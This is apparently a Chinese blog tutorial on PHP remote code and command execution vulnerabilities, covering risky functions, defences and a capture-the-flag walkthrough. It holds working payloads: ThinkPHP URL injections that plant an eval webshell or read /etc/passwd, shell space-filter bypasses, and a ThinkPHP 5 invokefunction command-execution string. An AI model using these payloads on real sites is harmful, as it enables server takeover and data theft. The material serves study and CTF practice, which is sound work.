REC代码及命令执行漏洞

RCE代码及命令执行漏洞

1.RCE介绍

全称:remote command/code execute

分为远程命令执行远程代码执行

1.命令执行漏洞: 直接调用操作系统命令

  1. 代码执行漏洞: 靠执行脚本代码调用操作系统命令

​ 在Web应用中有时候程序员为了考虑灵活性、简洁性,会在代码调用代码或命令执行函数去处理。比如当应用在调用一些能将字符串转化成代码的函数时,没有考虑用户是否能控制这个字符串,将造成代码执行漏洞。同样调用系统命令处理,将造成命令执行漏洞。

在这里插入图片描述

2.代码执行漏洞

1.漏洞介绍

​ PHP代码执行漏洞可以将代码注入到应用中,最终到webserver去执行。该漏洞主要存在于eval()、assert()、preg_replace()、call_user_func()、array_map()以及动态函数中。

2.代码执行原理:

应用有时需要调用一些执行系统命令的函数,如PHP中的system、exec、assert、shell_exec、passthru、popen、proc_popen

escapeshellcmd、pcntl_exec等,当用户能控制这些函数中的参数时,就可以将恶意系统命令拼接到正常命令中,从而造成命令执行***,这就是命令执行漏洞。以上函数主要也在webshell中用的多,实际上在正常应用中差别不太大,用得最多的还是前三个

3.代码执行漏洞危害

  • 执行任意代码
  • 向网站写WebShell
  • 控制整个网站甚至服务器

4.函数介绍

1. eval()

eval() 函数把字符串按照 PHP 代码来计算。

该字符串必须是合法的 PHP 代码,且必须以分号结尾。

如果没有在代码字符串中调用 return 语句,则返回 NULL。如果代码中存在解析错误,则 eval() 函数返回 false。

在这里插入图片描述

假设对方存在这样的一个代码执行漏洞 就可以用代码去攻击它

通过evel去上传一个webshell,然后去控制它

2. assert()

普通调用

//?a=phpinfo()
<?php assert($_POST['a']);?>

assert 函数支持动态调用

//?a=phpinfo()
<?php
$a = 'assert';
$a($_POST['a']);
?

php官方在php7中更改了 assert 函数。在php7.0.29之后的版本不支持动态调用。

<?php
$a = 'assert';
$a(phpinfo());
?>
//成功执行phpinfo()

3.preg_replace函数

此函数的作用是对一个字符串进行正则处理

mixed preg_replace ( mixed $ pattern , mixed $ replacement , mixed $ subject [, int $ limit = -1 [, int &$ count ]] )

…更多百度

5.代码执行漏洞防御:

  1. 尽量少用执行命令的函数或者直接禁用`
  2. 参数值尽量使用引号包括
  3. 在使用动态函数之前,确保使用的函数是指定的函数之一
  4. 在进入执行命令的函数/方法之前,对参数进行过滤,对敏感字符进行转义
  5. 能使用脚本解决的工作,不要调用其他程序处理。尽量少用执行命令的函数,并在disable_functions中禁用
  6. 对于可控点是程序参数的情况下,使用escapeshellcmd函数进行过滤,对于可控点是程序参数值的情况下,使用escapeshellarg函数进行过滤
  7. 参数的值尽量使用引号包裹,并在拼接前调用addslashes进行转义而针对由特定第三方组件引发的漏洞,我们要做的就是及时打补丁,修改安装时的默认配置。
  8. 对于eval( )函数一定要保证用户不能轻易接触eval的参数或者用正则严格判断输入的数据格式。
  9. 对于preg_replace放弃使用e修饰符。如果必须要用e修饰符,请保证第二个参数中,对于正则匹配出的对象,用单引号包裹 。

6.漏洞利用

# 一般找CMS相应版本漏洞,如ThinkPHP2.1

* 一句话
  http://www.xxx.com/News/detail/id/{${@eval($_POST[aa])}}
* 得到当前路径
  http://www.xxx.com/News/detail/id/{${print(getcwd()))}}
* 读文件
  http://www.xxx.com/News/detail/id/{${exit(var_dump(file_get_contents($_POST['f'])))}}
  POST的数据为:f=/etc/passwd
* 写shell
  http://www.xxx.com/News/detail/id/{${exit(var_dump(file_put_contents($_POST['f'],$_POST[d])))}}
  POST的数据为:f=1.php&d=<?php @eval($_POST['aa'])?>

3.命令执行漏洞

1.命令执行漏洞简介

​ 用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令,可能会允许使用者通过改变 $PATH 或程序执行环境的其他方面来执行一个恶意构造的代码

2.命令执行原理:

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

3.系统命令执行函数

1. System:system函数可以用来执行一个外部的应用程序并将相应的执行结果输出,函数原型如下:
 
system(command,return_var)

其中,command是要执行的命令,return_var存放执行命令的执行后的状态值。
2. Exec:exec函数可以用来执行一个外部的应用程序

exec (command, output, return_var)

其中,command是要执行的命令,output是获得执行命令输出的每一行字符串,return_var存放执行命令后的状态值
 3.Passthru:passthru函数可以用来执行一个UNIX系统命令并显示原始的输出,当UNIX系统命令的输出是二进制的数据,并且需要直接返回值给浏览器时,需要使用passthru函数来替代system与exec函数。Passthru函数原型如下:

passthru (command, return_var)

其中,command是要执行的命令,return_var存放执行命令后的状态值。
4. Shell_exec:执行shell命令并返回输出的字符串,函数原型如下:

 shell_exec (command)

其中,command是要执行的命令。
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

4.Windows系统命令拼接

“|”:管道符,前面命令标准输出,后面命令的标准输入。例如:help |more
“&” commandA & commandB 先运行命令A,然后运行命令B
“||” commandA || commandB 运行命令A,如果失败则运行命令B
“&&” commandA && commandB 运行命令A,如果成功则运行命令B

绕过空格

$IFS$1      //$1改成$加其他数字都行,都能当作空格来用

{cat,flag.txt}

cat${IFS}flag.txt

cat$IFS$9flag.txt

cat<flag.txt

cat<>flag.txt

4.实例

攻防世界web进阶区 题目:php_rce

在这里插入图片描述

看到这里,没有思路直接搜 ThinkPHP V5漏洞

?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=
在url后添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

发现flag文件

在url后添加?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1](http://www.manongjc.com/detail/25-bdsktbzcdlhfjwe.html#)=cat /flag

获得flag

在这里插入图片描述

参考博客:

https://blog.csdn.net/mochu7777777/article/details/104842420?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4
https://blog.csdn.net/mochu7777777/article/details/104842420?utm_medium=distribute.pc_relevant.none-task-blog-2~default~baidujs_baidulandingword~default-1.pc_relevant_default&spm=1001.2101.3001.4242.2&utm_relevant_index=4
  • 5
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值